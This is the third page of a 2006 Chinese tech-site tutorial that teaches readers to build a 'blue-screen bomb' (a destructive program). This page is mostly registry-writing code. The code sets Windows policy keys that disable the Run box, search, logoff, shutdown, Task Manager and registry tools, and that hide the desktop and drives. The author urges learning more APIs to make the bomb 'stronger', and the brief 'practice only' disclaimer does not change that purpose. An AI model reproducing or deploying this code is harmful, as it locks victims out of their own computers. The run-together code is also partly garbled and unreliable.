案例教程:黑客教你编写强力蓝屏炸弹(3)
中华网科技 http://tech.china.com
2006-07-06 14:23:53
|
|
|
到这里,所有的模块里的代码就写完了,如果想得到更详细的代码请查看光盘中相关栏目里的代码吧!
然后介绍一下我们怎么去给注册表加键和键值吧,具体代码如下:
CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/ Windows/CurrentVersion/Policies/ExplorerSetKeyValueHKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/ Policies/Explorer", " NoRun ", "1", REG_DWORD以上是在HKEY_CURRENT_USER,"Software/Microsoft/Windows/ CurrentVersion/Policies/Explorer里面加上一个键并设置键值为1的REG_DWORD格式, 这个是用来屏蔽开始菜单里的运行的, CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows /CurrentVersion/Policies/Explorer"SetKeyValueHKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", "NoFind", "1", REG_DWORD这段代码是用来屏蔽查找的, 就是说在你的计算机的开始菜单里会找不到这一项,CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft /Windows/CurrentVersion/Policies/Explorer" SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows /CurrentVersion/Policies/Explorer", "NoLogOff", "1", REG_DWORD这段是用来屏蔽注销的 CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft /Windows/CurrentVersion/Policies/Explorer" SetKeyValueHKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", "NoClose", "1", REG_DWORD这段是用来屏蔽关闭计算机的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/ Windows/CurrentVersion/Policies/System"SetKeyValueHKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/Policies/System", "DisableTaskMgr", "1", REG_DWORD这段是用来屏蔽任务管理器的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows /CurrentVersion/Policies/System"SetKeyValueHKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/Policies/System", "DisableRegistryTools", "1", REG_DWORD这段是用来禁止使用注册表的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/ Windows/CurrentVersion/Policies/Explorer" SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/ Windows/CurrentVersion/Policies/Explorer", " NoDesktop ", "1", REG_DWORD这段是用来隐藏桌面的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/ Windows/CurrentVersion/Policies/Explorer" SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/ CurrentVersion/Policies/Explorer", "NoDrives", "1", REG_DWORD这段是用来屏蔽A盘的,键值1代表A盘,2代表B盘, 4代表C盘,8代表D盘,就是说二倍二倍的下去代表下一个盘。
如果想作出厉害一点的炸弹,最好多多的了解如何使用API函数和注册表,如果想得到更详细的源代码就在杂志相关栏目里面能够找到,这样,一个小巧而又厉害的炸弹就诞生了,希望大家仅仅是用这个东西来练习,而不是去作坏事。我写完了炸弹后,又写了一个针对这个炸弹的还原的工具收集在光盘里面了。
首页 上页 | 1 | 2 | 3 | 下页 尾页 共 3 页
|